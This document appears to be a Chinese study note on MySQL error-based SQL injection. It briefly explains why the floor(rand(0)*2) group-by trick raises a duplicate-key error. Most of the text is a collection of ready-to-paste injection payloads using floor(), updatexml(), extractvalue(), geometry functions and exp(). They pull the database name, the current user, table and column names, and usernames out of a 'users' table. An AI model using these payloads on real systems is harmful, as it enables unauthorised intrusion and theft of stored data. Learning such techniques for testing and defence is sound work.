floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算(插入主键时rand()又计算一次)导致插入临时表时==主键重复==,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或数执行后的结果。

最大值超过3可以执行
and (select 1 from (select count( * ),concat(database(),floor(rand(0)*2))==x== from information_schema.tables group by ==x==)a) %23
x为别名
使用的场景
能够把SQL语法错误输出到页面上的地方

floor报错需要的函数
1、floor()函数 //向下取整,即取不大于x的最大整数。取按照数轴上最接 近要求值的左边值。
2、rand(x) 随机产生一个0-1之间的浮点数
当指定参数x之后,会生成固定的伪随机序列。即固定了参数,之后每次生成的值都是一样的,故称之为固定的伪随机数字(产生的数字都是可预知的)就比如rand(0)
3.count(*) 返回值的条目,与count()的区别在于其不排除NULL,count()如果统计到NULL,返回的结果即为NULL,返回列数。
4、group by 分组的意思
==注意==:Mysql只会识别值的unicode编码,命令不能识别
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
报错使用 然后导致语法被执行

and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

floor() 向下取整

注意:只有在特定的地方可以修改语句,如database(),其他地方不行会破坏语句结构导致无法报错
查询当前数据库名
and (select 1 from (select count( * ),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

查询当前用户名
and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

查询当前数据库下的表名(第二个表名)
and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

查询users表下用户名(第二个用户名)
and (select 1 from (select count(*),concat((select username from users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

注意:当用户名或密码长度过长,无法显示时,可以用截取函数substr()
updatexml()
-
updatexml()
-
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
-

-
查表语句
- and updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema = database()),’~’),3) %23
-
查字段语句
- and updatexml(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = ‘users’),’~’),3) %23
-
查数据
- and updatexml(1,concat(‘~’,(select username from users limit 0,1),’~’),3) %23
-
-
extractvalue()
- select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
geometrycollection()
- select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
multipoint()
- select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
polygon()
- select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
multipolygon()
- select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
linestring()
- select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
multilinestring()
- select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
exp()
- select * from test where id=1 and exp(~(select * from(select user())a));